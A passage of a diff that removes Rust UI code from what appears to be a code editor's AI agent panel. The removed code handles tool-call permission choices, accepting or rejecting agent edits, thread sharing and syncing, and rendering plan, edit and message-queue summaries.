-    fn handle_authorize_tool_call(
-        &mut self,
-        action: &AuthorizeToolCall,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let tool_call_id = acp::ToolCallId::new(action.tool_call_id.clone());
-        let option_id = acp::PermissionOptionId::new(action.option_id.clone());
-        let option_kind = match action.option_kind.as_str() {
-            "AllowOnce" => acp::PermissionOptionKind::AllowOnce,
-            "AllowAlways" => acp::PermissionOptionKind::AllowAlways,
-            "RejectOnce" => acp::PermissionOptionKind::RejectOnce,
-            "RejectAlways" => acp::PermissionOptionKind::RejectAlways,
-            _ => acp::PermissionOptionKind::AllowOnce,
-        };
-
-        self.authorize_tool_call(
-            self.id.clone(),
-            tool_call_id,
-            option_id,
-            option_kind,
-            window,
-            cx,
-        );
-    }
-
-    pub fn handle_select_permission_granularity(
-        &mut self,
-        action: &SelectPermissionGranularity,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let tool_call_id = acp::ToolCallId::new(action.tool_call_id.clone());
-        self.selected_permission_granularity
-            .insert(tool_call_id, action.index);
-
-        cx.notify();
-    }
-
-    fn authorize_pending_with_granularity(
-        &mut self,
-        is_allow: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Option<()> {
-        let (session_id, tool_call_id, options) =
-            self.conversation.read(cx).pending_tool_call(&self.id, cx)?;
-        let PermissionOptions::Dropdown(choices) = options else {
-            let kind = if is_allow {
-                acp::PermissionOptionKind::AllowOnce
-            } else {
-                acp::PermissionOptionKind::RejectOnce
-            };
-            return self.authorize_pending_tool_call(kind, window, cx);
-        };
-
-        // Get selected index, defaulting to last option ("Only this time")
-        let selected_index = self
-            .selected_permission_granularity
-            .get(&tool_call_id)
-            .copied()
-            .unwrap_or_else(|| choices.len().saturating_sub(1));
-
-        let selected_choice = choices.get(selected_index).or(choices.last())?;
-
-        let selected_option = if is_allow {
-            &selected_choice.allow
-        } else {
-            &selected_choice.deny
-        };
-
-        self.authorize_tool_call(
-            session_id,
-            tool_call_id,
-            selected_option.option_id.clone(),
-            selected_option.kind,
-            window,
-            cx,
-        );
-
-        Some(())
-    }
-
-    // edits
-
-    pub fn keep_all(&mut self, _: &KeepAll, _window: &mut Window, cx: &mut Context<Self>) {
-        let thread = &self.thread;
-        let telemetry = ActionLogTelemetry::from(thread.read(cx));
-        let action_log = thread.read(cx).action_log().clone();
-        action_log.update(cx, |action_log, cx| {
-            action_log.keep_all_edits(Some(telemetry), cx)
-        });
-    }
-
-    pub fn reject_all(&mut self, _: &RejectAll, _window: &mut Window, cx: &mut Context<Self>) {
-        let thread = &self.thread;
-        let telemetry = ActionLogTelemetry::from(thread.read(cx));
-        let action_log = thread.read(cx).action_log().clone();
-        let has_changes = action_log.read(cx).changed_buffers(cx).len() > 0;
-
-        action_log
-            .update(cx, |action_log, cx| {
-                action_log.reject_all_edits(Some(telemetry), cx)
-            })
-            .detach();
-
-        if has_changes {
-            if let Some(workspace) = self.workspace.upgrade() {
-                workspace.update(cx, |workspace, cx| {
-                    crate::ui::show_undo_reject_toast(workspace, action_log, cx);
-                });
-            }
-        }
-    }
-
-    pub fn undo_last_reject(
-        &mut self,
-        _: &UndoLastReject,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let thread = &self.thread;
-        let action_log = thread.read(cx).action_log().clone();
-        action_log
-            .update(cx, |action_log, cx| action_log.undo_last_reject(cx))
-            .detach()
-    }
-
-    pub fn open_edited_buffer(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let thread = &self.thread;
-
-        let Some(diff) =
-            AgentDiffPane::deploy(thread.clone(), self.workspace.clone(), window, cx).log_err()
-        else {
-            return;
-        };
-
-        diff.update(cx, |diff, cx| {
-            diff.move_to_path(PathKey::for_buffer(buffer, cx), window, cx)
-        })
-    }
-
-    // thread stuff
-
-    fn share_thread(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        let Some((thread, project)) = self.as_native_thread(cx).zip(self.project.upgrade()) else {
-            return;
-        };
-
-        let client = project.read(cx).client();
-        let workspace = self.workspace.clone();
-        let session_id = thread.read(cx).id().to_string();
-
-        let load_task = thread.read(cx).to_db(cx);
-
-        cx.spawn(async move |_this, cx| {
-            let db_thread = load_task.await;
-
-            let shared_thread = SharedThread::from_db_thread(&db_thread);
-            let thread_data = shared_thread.to_bytes()?;
-            let title = shared_thread.title.to_string();
-
-            client
-                .request(proto::ShareAgentThread {
-                    session_id: session_id.clone(),
-                    title,
-                    thread_data,
-                })
-                .await?;
-
-            let share_url = client::zed_urls::shared_agent_thread_url(&session_id);
-
-            cx.update(|cx| {
-                if let Some(workspace) = workspace.upgrade() {
-                    workspace.update(cx, |workspace, cx| {
-                        struct ThreadSharedToast;
-                        workspace.show_toast(
-                            Toast::new(
-                                NotificationId::unique::<ThreadSharedToast>(),
-                                "Thread shared!",
-                            )
-                            .on_click(
-                                "Copy URL",
-                                move |_window, cx| {
-                                    cx.write_to_clipboard(ClipboardItem::new_string(
-                                        share_url.clone(),
-                                    ));
-                                },
-                            ),
-                            cx,
-                        );
-                    });
-                }
-            });
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn sync_thread(
-        &mut self,
-        project: Entity<Project>,
-        server_view: Entity<AcpServerView>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if !self.is_imported_thread(cx) {
-            return;
-        }
-
-        let Some(session_list) = self
-            .as_native_connection(cx)
-            .and_then(|connection| connection.session_list(cx))
-            .and_then(|list| list.downcast::<NativeAgentSessionList>())
-        else {
-            return;
-        };
-        let thread_store = session_list.thread_store().clone();
-
-        let client = project.read(cx).client();
-        let session_id = self.thread.read(cx).session_id().clone();
-        cx.spawn_in(window, async move |this, cx| {
-            let response = client
-                .request(proto::GetSharedAgentThread {
-                    session_id: session_id.to_string(),
-                })
-                .await?;
-
-            let shared_thread = SharedThread::from_bytes(&response.thread_data)?;
-
-            let db_thread = shared_thread.to_db_thread();
-
-            thread_store
-                .update(&mut cx.clone(), |store, cx| {
-                    store.save_thread(session_id.clone(), db_thread, cx)
-                })
-                .await?;
-
-            let thread_metadata = AgentSessionInfo {
-                session_id,
-                cwd: None,
-                title: Some(format!("🔗 {}", response.title).into()),
-                updated_at: Some(chrono::Utc::now()),
-                meta: None,
-            };
-
-            this.update_in(cx, |this, window, cx| {
-                this.resume_thread_metadata = Some(thread_metadata);
-                server_view.update(cx, |server_view, cx| server_view.reset(window, cx));
-            })?;
-
-            this.update_in(cx, |this, _window, cx| {
-                if let Some(workspace) = this.workspace.upgrade() {
-                    workspace.update(cx, |workspace, cx| {
-                        struct ThreadSyncedToast;
-                        workspace.show_toast(
-                            Toast::new(
-                                NotificationId::unique::<ThreadSyncedToast>(),
-                                "Thread synced with latest version",
-                            )
-                            .autohide(),
-                            cx,
-                        );
-                    });
-                }
-            })?;
-
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn restore_checkpoint(&mut self, message_id: &UserMessageId, cx: &mut Context<Self>) {
-        self.thread
-            .update(cx, |thread, cx| {
-                thread.restore_checkpoint(message_id.clone(), cx)
-            })
-            .detach_and_log_err(cx);
-    }
-
-    pub fn clear_thread_error(&mut self, cx: &mut Context<Self>) {
-        self.thread_error = None;
-        self.thread_error_markdown = None;
-        self.token_limit_callout_dismissed = true;
-        cx.notify();
-    }
-
-    fn is_following(&self, cx: &App) -> bool {
-        match self.thread.read(cx).status() {
-            ThreadStatus::Generating => self
-                .workspace
-                .read_with(cx, |workspace, _| {
-                    workspace.is_being_followed(CollaboratorId::Agent)
-                })
-                .unwrap_or(false),
-            _ => self.should_be_following,
-        }
-    }
-
-    fn toggle_following(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let following = self.is_following(cx);
-
-        self.should_be_following = !following;
-        if self.thread.read(cx).status() == ThreadStatus::Generating {
-            self.workspace
-                .update(cx, |workspace, cx| {
-                    if following {
-                        workspace.unfollow(CollaboratorId::Agent, window, cx);
-                    } else {
-                        workspace.follow(CollaboratorId::Agent, window, cx);
-                    }
-                })
-                .ok();
-        }
-
-        telemetry::event!("Follow Agent Selected", following = !following);
-    }
-
-    // other
-
-    pub fn render_thread_retry_status_callout(&self) -> Option<Callout> {
-        let state = self.thread_retry_status.as_ref()?;
-
-        let next_attempt_in = state
-            .duration
-            .saturating_sub(Instant::now().saturating_duration_since(state.started_at));
-        if next_attempt_in.is_zero() {
-            return None;
-        }
-
-        let next_attempt_in_secs = next_attempt_in.as_secs() + 1;
-
-        let retry_message = if state.max_attempts == 1 {
-            if next_attempt_in_secs == 1 {
-                "Retrying. Next attempt in 1 second.".to_string()
-            } else {
-                format!("Retrying. Next attempt in {next_attempt_in_secs} seconds.")
-            }
-        } else if next_attempt_in_secs == 1 {
-            format!(
-                "Retrying. Next attempt in 1 second (Attempt {} of {}).",
-                state.attempt, state.max_attempts,
-            )
-        } else {
-            format!(
-                "Retrying. Next attempt in {next_attempt_in_secs} seconds (Attempt {} of {}).",
-                state.attempt, state.max_attempts,
-            )
-        };
-
-        Some(
-            Callout::new()
-                .icon(IconName::Warning)
-                .severity(Severity::Warning)
-                .title(state.last_error.clone())
-                .description(retry_message),
-        )
-    }
-
-    pub fn handle_open_rules(
-        &mut self,
-        _: &ClickEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(thread) = self.as_native_thread(cx) else {
-            return;
-        };
-        let project_context = thread.read(cx).project_context().read(cx);
-
-        let project_entry_ids = project_context
-            .worktrees
-            .iter()
-            .flat_map(|worktree| worktree.rules_file.as_ref())
-            .map(|rules_file| ProjectEntryId::from_usize(rules_file.project_entry_id))
-            .collect::<Vec<_>>();
-
-        self.workspace
-            .update(cx, move |workspace, cx| {
-                // TODO: Open a multibuffer instead? In some cases this doesn't make the set of rules
-                // files clear. For example, if rules file 1 is already open but rules file 2 is not,
-                // this would open and focus rules file 2 in a tab that is not next to rules file 1.
-                let project = workspace.project().read(cx);
-                let project_paths = project_entry_ids
-                    .into_iter()
-                    .flat_map(|entry_id| project.path_for_entry(entry_id, cx))
-                    .collect::<Vec<_>>();
-                for project_path in project_paths {
-                    workspace
-                        .open_path(project_path, None, true, window, cx)
-                        .detach_and_log_err(cx);
-                }
-            })
-            .ok();
-    }
-
-    fn activity_bar_bg(&self, cx: &Context<Self>) -> Hsla {
-        let editor_bg_color = cx.theme().colors().editor_background;
-        let active_color = cx.theme().colors().element_selected;
-        editor_bg_color.blend(active_color.opacity(0.3))
-    }
-
-    pub fn render_activity_bar(
-        &self,
-        window: &mut Window,
-        cx: &Context<Self>,
-    ) -> Option<AnyElement> {
-        let thread = self.thread.read(cx);
-        let action_log = thread.action_log();
-        let telemetry = ActionLogTelemetry::from(thread);
-        let changed_buffers = action_log.read(cx).changed_buffers(cx);
-        let plan = thread.plan();
-        let queue_is_empty = !self.has_queued_messages();
-
-        if changed_buffers.is_empty() && plan.is_empty() && queue_is_empty {
-            return None;
-        }
-
-        // Temporarily always enable ACP edit controls. This is temporary, to lessen the
-        // impact of a nasty bug that causes them to sometimes be disabled when they shouldn't
-        // be, which blocks you from being able to accept or reject edits. This switches the
-        // bug to be that sometimes it's enabled when it shouldn't be, which at least doesn't
-        // block you from using the panel.
-        let pending_edits = false;
-
-        let plan_expanded = self.plan_expanded;
-        let edits_expanded = self.edits_expanded;
-        let queue_expanded = self.queue_expanded;
-
-        v_flex()
-            .mt_1()
-            .mx_2()
-            .bg(self.activity_bar_bg(cx))
-            .border_1()
-            .border_b_0()
-            .border_color(cx.theme().colors().border)
-            .rounded_t_md()
-            .shadow(vec![gpui::BoxShadow {
-                color: gpui::black().opacity(0.15),
-                offset: point(px(1.), px(-1.)),
-                blur_radius: px(3.),
-                spread_radius: px(0.),
-            }])
-            .when(!plan.is_empty(), |this| {
-                this.child(self.render_plan_summary(plan, window, cx))
-                    .when(plan_expanded, |parent| {
-                        parent.child(self.render_plan_entries(plan, window, cx))
-                    })
-            })
-            .when(!plan.is_empty() && !changed_buffers.is_empty(), |this| {
-                this.child(Divider::horizontal().color(DividerColor::Border))
-            })
-            .when(!changed_buffers.is_empty(), |this| {
-                this.child(self.render_edits_summary(
-                    &changed_buffers,
-                    edits_expanded,
-                    pending_edits,
-                    cx,
-                ))
-                .when(edits_expanded, |parent| {
-                    parent.child(self.render_edited_files(
-                        action_log,
-                        telemetry.clone(),
-                        &changed_buffers,
-                        pending_edits,
-                        cx,
-                    ))
-                })
-            })
-            .when(!queue_is_empty, |this| {
-                this.when(!plan.is_empty() || !changed_buffers.is_empty(), |this| {
-                    this.child(Divider::horizontal().color(DividerColor::Border))
-                })
-                .child(self.render_message_queue_summary(window, cx))
-                .when(queue_expanded, |parent| {
-                    parent.child(self.render_message_queue_entries(window, cx))
-                })
-            })
-            .into_any()
-            .into()
-    }
-
-    fn render_edited_files(
-        &self,
-        action_log: &Entity<ActionLog>,
-        telemetry: ActionLogTelemetry,
-        changed_buffers: &BTreeMap<Entity<Buffer>, Entity<BufferDiff>>,
-        pending_edits: bool,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let editor_bg_color = cx.theme().colors().editor_background;
-
-        // Sort edited files alphabetically for consistency with Git diff view
-        let mut sorted_buffers: Vec<_> = changed_buffers.iter().collect();
-        sorted_buffers.sort_by(|(buffer_a, _), (buffer_b, _)| {
-            let path_a = buffer_a.read(cx).file().map(|f| f.path().clone());
-            let path_b = buffer_b.read(cx).file().map(|f| f.path().clone());
-            path_a.cmp(&path_b)
-        });
-
-        v_flex()
-            .id("edited_files_list")
-            .max_h_40()
-            .overflow_y_scroll()
-            .children(
-                sorted_buffers
-                    .into_iter()
-                    .enumerate()
-                    .flat_map(|(index, (buffer, diff))| {
-                        let file = buffer.read(cx).file()?;
-                        let path = file.path();
-                        let path_style = file.path_style(cx);
-                        let separator = file.path_style(cx).primary_separator();
-
-                        let file_path = path.parent().and_then(|parent| {
-                            if parent.is_empty() {
-                                None
-                            } else {
-                                Some(
-                                    Label::new(format!(
-                                        "{}{separator}",
-                                        parent.display(path_style)
-                                    ))
-                                    .color(Color::Muted)
-                                    .size(LabelSize::XSmall)
-                                    .buffer_font(cx),
-                                )
-                            }
-                        });
-
-                        let file_name = path.file_name().map(|name| {
-                            Label::new(name.to_string())
-                                .size(LabelSize::XSmall)
-                                .buffer_font(cx)
-                                .ml_1()
-                        });
-
-                        let full_path = path.display(path_style).to_string();
-
-                        let file_icon = FileIcons::get_icon(path.as_std_path(), cx)
-                            .map(Icon::from_path)
-                            .map(|icon| icon.color(Color::Muted).size(IconSize::Small))
-                            .unwrap_or_else(|| {
-                                Icon::new(IconName::File)
-                                    .color(Color::Muted)
-                                    .size(IconSize::Small)
-                            });
-
-                        let file_stats = DiffStats::single_file(buffer.read(cx), diff.read(cx), cx);
-
-                        let buttons = self.render_edited_files_buttons(
-                            index,
-                            buffer,
-                            action_log,
-                            &telemetry,
-                            pending_edits,
-                            editor_bg_color,
-                            cx,
-                        );
-
-                        let element = h_flex()
-                            .group("edited-code")
-                            .id(("file-container", index))
-                            .relative()
-                            .min_w_0()
-                            .p_1p5()
-                            .gap_2()
-                            .justify_between()
-                            .bg(editor_bg_color)
-                            .when(index < changed_buffers.len() - 1, |parent| {
-                                parent.border_color(cx.theme().colors().border).border_b_1()
-                            })
-                            .child(
-                                h_flex()
-                                    .id(("file-name-path", index))
-                                    .cursor_pointer()
-                                    .pr_0p5()
-                                    .gap_0p5()
-                                    .rounded_xs()
-                                    .child(file_icon)
-                                    .children(file_name)
-                                    .children(file_path)
-                                    .child(
-                                        DiffStat::new(
-                                            "file",
-                                            file_stats.lines_added as usize,
-                                            file_stats.lines_removed as usize,
-                                        )
-                                        .label_size(LabelSize::XSmall),
-                                    )
-                                    .hover(|s| s.bg(cx.theme().colors().element_hover))
-                                    .tooltip({
-                                        move |_, cx| {
-                                            Tooltip::with_meta(
-                                                "Go to File",
-                                                None,
-                                                full_path.clone(),
-                                                cx,
-                                            )
-                                        }
-                                    })
-                                    .on_click({
-                                        let buffer = buffer.clone();
-                                        cx.listener(move |this, _, window, cx| {
-                                            this.open_edited_buffer(&buffer, window, cx);
-                                        })
-                                    }),
-                            )
-                            .child(buttons);
-
-                        Some(element)
-                    }),
-            )
-            .into_any_element()
-    }
-
-    fn render_edited_files_buttons(
-        &self,
-        index: usize,
-        buffer: &Entity<Buffer>,
-        action_log: &Entity<ActionLog>,
-        telemetry: &ActionLogTelemetry,
-        pending_edits: bool,
-        editor_bg_color: Hsla,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        h_flex()
-            .id("edited-buttons-container")
-            .visible_on_hover("edited-code")
-            .absolute()
-            .right_0()
-            .px_1()
-            .gap_1()
-            .bg(editor_bg_color)
-            .on_hover(cx.listener(move |this, is_hovered, _window, cx| {
-                if *is_hovered {
-                    this.hovered_edited_file_buttons = Some(index);
-                } else if this.hovered_edited_file_buttons == Some(index) {
-                    this.hovered_edited_file_buttons = None;
-                }
-                cx.notify();
-            }))
-            .child(
-                Button::new("review", "Review")
-                    .label_size(LabelSize::Small)
-                    .on_click({
-                        let buffer = buffer.clone();
-                        cx.listener(move |this, _, window, cx| {
-                            this.open_edited_buffer(&buffer, window, cx);
-                        })
-                    }),
-            )
-            .child(
-                Button::new(("reject-file", index), "Reject")
-                    .label_size(LabelSize::Small)
-                    .disabled(pending_edits)
-                    .on_click({
-                        let buffer = buffer.clone();
-                        let action_log = action_log.clone();
-                        let telemetry = telemetry.clone();
-                        move |_, _, cx| {
-                            action_log.update(cx, |action_log, cx| {
-                                action_log
-                                    .reject_edits_in_ranges(
-                                        buffer.clone(),
-                                        vec![Anchor::min_max_range_for_buffer(
-                                            buffer.read(cx).remote_id(),
-                                        )],
-                                        Some(telemetry.clone()),
-                                        cx,
-                                    )
-                                    .0
-                                    .detach_and_log_err(cx);
-                            })
-                        }
-                    }),
-            )
-            .child(
-                Button::new(("keep-file", index), "Keep")
-                    .label_size(LabelSize::Small)
-                    .disabled(pending_edits)
-                    .on_click({
-                        let buffer = buffer.clone();
-                        let action_log = action_log.clone();
-                        let telemetry = telemetry.clone();
-                        move |_, _, cx| {
-                            action_log.update(cx, |action_log, cx| {
-                                action_log.keep_edits_in_range(
-                                    buffer.clone(),
-                                    Anchor::min_max_range_for_buffer(buffer.read(cx).remote_id()),
-                                    Some(telemetry.clone()),
-                                    cx,
-                                );
-                            })
-                        }
-                    }),
-            )
-    }
-
-    fn render_message_queue_summary(
-        &self,
-        _window: &mut Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let queue_count = self.local_queued_messages.len();
-        let title: SharedString = if queue_count == 1 {
-            "1 Queued Message".into()
-        } else {
-            format!("{} Queued Messages", queue_count).into()
-        };
-
-        h_flex()
-            .p_1()
-            .w_full()
-            .gap_1()
-            .justify_between()
-            .when(self.queue_expanded, |this| {
-                this.border_b_1().border_color(cx.theme().colors().border)
-            })
-            .child(
-                h_flex()
-                    .id("queue_summary")
-                    .gap_1()
-                    .child(Disclosure::new("queue_disclosure", self.queue_expanded))
-                    .child(Label::new(title).size(LabelSize::Small).color(Color::Muted))
-                    .on_click(cx.listener(|this, _, _, cx| {
-                        this.queue_expanded = !this.queue_expanded;
-                        cx.notify();
-                    })),
-            )
-            .child(
-                Button::new("clear_queue", "Clear All")
-                    .label_size(LabelSize::Small)
-                    .key_binding(KeyBinding::for_action(&ClearMessageQueue, cx))
-                    .on_click(cx.listener(|this, _, _, cx| {
-                        this.clear_queue(cx);
-                        this.can_fast_track_queue = false;
-                        cx.notify();
-                    })),
-            )
-            .into_any_element()
-    }
-
-    fn clear_queue(&mut self, cx: &mut Context<Self>) {
-        self.local_queued_messages.clear();
-        self.sync_queue_flag_to_native_thread(cx);
-    }
-
-    fn render_plan_summary(
-        &self,
-        plan: &Plan,
-        window: &mut Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        let plan_expanded = self.plan_expanded;
-        let stats = plan.stats();
-
-        let title = if let Some(entry) = stats.in_progress_entry
-            && !plan_expanded
-        {
-            h_flex()
-                .cursor_default()
-                .relative()
-                .w_full()
-                .gap_1()
-                .truncate()
-                .child(
-                    Label::new("Current:")
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-                .child(
-                    div()
-                        .text_xs()
-                        .text_color(cx.theme().colors().text_muted)
-                        .line_clamp(1)
-                        .child(MarkdownElement::new(
-                            entry.content.clone(),
-                            plan_label_markdown_style(&entry.status, window, cx),
-                        )),
-                )
-                .when(stats.pending > 0, |this| {
-                    this.child(
-                        h_flex()
-                            .absolute()
-                            .top_0()
-                            .right_0()
-                            .h_full()
-                            .child(div().min_w_8().h_full().bg(linear_gradient(
-                                90.,
-                                linear_color_stop(self.activity_bar_bg(cx), 1.),
-                                linear_color_stop(self.activity_bar_bg(cx).opacity(0.2), 0.),
-                            )))
-                            .child(
-                                div().pr_0p5().bg(self.activity_bar_bg(cx)).child(
-                                    Label::new(format!("{} left", stats.pending))
-                                        .size(LabelSize::Small)
-                                        .color(Color::Muted),
-                                ),
-                            ),
-                    )
-                })
-        } else {
-            let status_label = if stats.pending == 0 {
-                "All Done".to_string()
-            } else if stats.completed == 0 {
-                format!("{} Tasks", plan.entries.len())
-            } else {
-                format!("{}/{}", stats.completed, plan.entries.len())
-            };
-
-            h_flex()
-                .w_full()
-                .gap_1()
-                .justify_between()
-                .child(
-                    Label::new("Plan")
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-                .child(
-                    Label::new(status_label)
-                        .size(LabelSize::Small)
-                        .color(Color::Muted)
-                        .mr_1(),
-                )
-        };
-
-        h_flex()
-            .id("plan_summary")
-            .p_1()
-            .w_full()
-            .gap_1()
-            .when(plan_expanded, |this| {
-                this.border_b_1().border_color(cx.theme().colors().border)
-            })
-            .child(Disclosure::new("plan_disclosure", plan_expanded))
-            .child(title)
-            .on_click(cx.listener(|this, _, _, cx| {
-                this.plan_expanded = !this.plan_expanded;
-                cx.notify();
-            }))
-            .into_any_element()
-    }
-
-    fn render_plan_entries(
-        &self,
-        plan: &Plan,
-        window: &mut Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        v_flex()
-            .id("plan_items_list")
-            .max_h_40()
-            .overflow_y_scroll()
-            .children(plan.entries.iter().enumerate().flat_map(|(index, entry)| {
-                let element = h_flex()
-                    .py_1()
-                    .px_2()
-                    .gap_2()
-                    .justify_between()
-                    .bg(cx.theme().colors().editor_background)
-                    .when(index < plan.entries.len() - 1, |parent| {
-                        parent.border_color(cx.theme().colors().border).border_b_1()
-                    })
-                    .child(
-                        h_flex()
-                            .id(("plan_entry", index))
-                            .gap_1p5()
-                            .max_w_full()
-                            .overflow_x_scroll()
-                            .text_xs()
-                            .text_color(cx.theme().colors().text_muted)
-                            .child(match entry.status {
-                                acp::PlanEntryStatus::InProgress => {
-                                    Icon::new(IconName::TodoProgress)
-                                        .size(IconSize::Small)
-                                        .color(Color::Accent)
-                                        .with_rotate_animation(2)
-                                        .into_any_element()
-                                }
-                                acp::PlanEntryStatus::Completed => {
-                                    Icon::new(IconName::TodoComplete)
-                                        .size(IconSize::Small)
-                                        .color(Color::Success)
-                                        .into_any_element()
-                                }
-                                acp::PlanEntryStatus::Pending | _ => {
-                                    Icon::new(IconName::TodoPending)
-                                        .size(IconSize::Small)
-                                        .color(Color::Muted)
-                                        .into_any_element()
-                                }
-                            })
-                            .child(MarkdownElement::new(
-                                entry.content.clone(),
-                                plan_label_markdown_style(&entry.status, window, cx),
-                            )),
-                    );
-
-                Some(element)
-            }))
-            .into_any_element()
-    }
-
-    fn render_edits_summary(
-        &self,
-        changed_buffers: &BTreeMap<Entity<Buffer>, Entity<BufferDiff>>,
-        expanded: bool,
-        pending_edits: bool,
-        cx: &Context<Self>,
-    ) -> Div {
-        const EDIT_NOT_READY_TOOLTIP_LABEL: &str = "Wait until file edits are complete.";
-
-        let focus_handle = self.focus_handle(cx);
-
-        h_flex()
-            .p_1()
-            .justify_between()
-            .flex_wrap()
-            .when(expanded, |this| {
-                this.border_b_1().border_color(cx.theme().colors().border)
-            })
-            .child(
-                h_flex()
-                    .id("edits-container")
-                    .cursor_pointer()
-                    .gap_1()
-                    .child(Disclosure::new("edits-disclosure", expanded))
-                    .map(|this| {
-                        if pending_edits {
-                            this.child(
-                                Label::new(format!(
-                                    "Editing {} {}…",
-                                    changed_buffers.len(),
-                                    if changed_buffers.len() == 1 {
-                                        "file"
-                                    } else {
-                                        "files"
-                                    }
-                                ))
-                                .color(Color::Muted)
-                                .size(LabelSize::Small)
-                                .with_animation(
-                                    "edit-label",
-                                    Animation::new(Duration::from_secs(2))
-                                        .repeat()
-                                        .with_easing(pulsating_between(0.3, 0.7)),
-                                    |label, delta| label.alpha(delta),
-                                ),
-                            )
-                        } else {
-                            let stats = DiffStats::all_files(changed_buffers, cx);
-                            let dot_divider = || {
-                                Label::new("•")
-                                    .size(LabelSize::XSmall)
-                                    .color(Color::Disabled)
-                            };
-
-                            this.child(
-                                Label::new("Edits")
-                                    .size(LabelSize::Small)
-                                    .color(Color::Muted),
-                            )
-                            .child(dot_divider())
-                            .child(
-                                Label::new(format!(
-                                    "{} {}",
-                                    changed_buffers.len(),
-                                    if changed_buffers.len() == 1 {
-                                        "file"
-                                    } else {
-                                        "files"
-                                    }
-                                ))
-                                .size(LabelSize::Small)
-                                .color(Color::Muted),
-                            )
-                            .child(dot_divider())
-                            .child(DiffStat::new(
-                                "total",
-                                stats.lines_added as usize,
-                                stats.lines_removed as usize,
-                            ))
-                        }
-                    })
-                    .on_click(cx.listener(|this, _, _, cx| {
-                        this.edits_expanded = !this.edits_expanded;
-                        cx.notify();
-                    })),
-            )
-            .child(
-                h_flex()
-                    .gap_1()
-                    .child(
-                        IconButton::new("review-changes", IconName::ListTodo)
-                            .icon_size(IconSize::Small)
-                            .tooltip({
-                                let focus_handle = focus_handle.clone();
-                                move |_window, cx| {
-                                    Tooltip::for_action_in(
-                                        "Review Changes",
-                                        &OpenAgentDiff,
-                                        &focus_handle,
-                                        cx,
-                                    )
-                                }
-                            })
-                            .on_click(cx.listener(|_, _, window, cx| {
-                                window.dispatch_action(OpenAgentDiff.boxed_clone(), cx);
-                            })),
-                    )
-                    .child(Divider::vertical().color(DividerColor::Border))
-                    .child(
-                        Button::new("reject-all-changes", "Reject All")
-                            .label_size(LabelSize::Small)
-                            .disabled(pending_edits)
-                            .when(pending_edits, |this| {
-                                this.tooltip(Tooltip::text(EDIT_NOT_READY_TOOLTIP_LABEL))
-                            })
-                            .key_binding(
-                                KeyBinding::for_action_in(&RejectAll, &focus_handle.clone(), cx)
-                                    .map(|kb| kb.size(rems_from_px(10.))),
-                            )
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.reject_all(&RejectAll, window, cx);
-                            })),
-                    )
-                    .child(
-                        Button::new("keep-all-changes", "Keep All")
-                            .label_size(LabelSize::Small)
-                            .disabled(pending_edits)
-                            .when(pending_edits, |this| {
-                                this.tooltip(Tooltip::text(EDIT_NOT_READY_TOOLTIP_LABEL))
-                            })
-                            .key_binding(
-                                KeyBinding::for_action_in(&KeepAll, &focus_handle, cx)
-                                    .map(|kb| kb.size(rems_from_px(10.))),
-                            )
-                            .on_click(cx.listener(move |this, _, window, cx| {
-                                this.keep_all(&KeepAll, window, cx);
-                            })),
-                    ),
-            )
-    }
-
-    fn is_subagent_canceled_or_failed(&self, cx: &App) -> bool {
-        let Some(parent_session_id) = self.parent_id.as_ref() else {
-            return false;
-        };
-
-        let my_session_id = self.thread.read(cx).session_id().clone();
-
-        self.server_view
-            .upgrade()
-            .and_then(|sv| sv.read(cx).thread_view(parent_session_id))
-            .is_some_and(|parent_view| {
-                parent_view
-                    .read(cx)
-                    .thread
-                    .read(cx)
-                    .tool_call_for_subagent(&my_session_id)
-                    .is_some_and(|tc| {
-                        matches!(
-                            tc.status,
-                            ToolCallStatus::Canceled
-                                | ToolCallStatus::Failed
-                                | ToolCallStatus::Rejected
-                        )
-                    })
-            })
-    }
-
-    pub(crate) fn render_subagent_titlebar(&mut self, cx: &mut Context<Self>) -> Option<Div> {
-        let Some(parent_session_id) = self.parent_id.clone() else {
-            return None;
-        };
-
-        let server_view = self.server_view.clone();
-        let thread = self.thread.clone();
-        let is_done = thread.read(cx).status() == ThreadStatus::Idle;
-        let is_canceled_or_failed = self.is_subagent_canceled_or_failed(cx);
-
-        Some(
-            h_flex()
-                .h(Tab::container_height(cx))
-                .pl_2()
-                .pr_1p5()
-                .w_full()
-                .justify_between()
-                .gap_1()
-                .border_b_1()
-                .when(is_done && is_canceled_or_failed, |this| {
-                    this.border_dashed()
-                })
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().editor_background.opacity(0.2))
-                .child(
-                    h_flex()
-                        .flex_1()
-                        .gap_2()
-                        .child(
-                            Icon::new(IconName::ForwardArrowUp)
-                                .size(IconSize::Small)
-                                .color(Color::Muted),
-                        )
-                        .child(self.title_editor.clone())
-                        .when(is_done && is_canceled_or_failed, |this| {
-                            this.child(Icon::new(IconName::Close).color(Color::Error))
-                        })
-                        .when(is_done && !is_canceled_or_failed, |this| {
-                            this.child(Icon::new(IconName::Check).color(Color::Success))
-                        }),
-                )
-                .child(
-                    h_flex()
-                        .gap_0p5()
-                        .when(!is_done, |this| {
-                            this.child(
-                                IconButton::new("stop_subagent", IconName::Stop)
-                                    .icon_size(IconSize::Small)
-                                    .icon_color(Color::Error)
-                                    .tooltip(Tooltip::text("Stop Subagent"))
-                                    .on_click(move |_, _, cx| {
-                                        thread.update(cx, |thread, cx| {
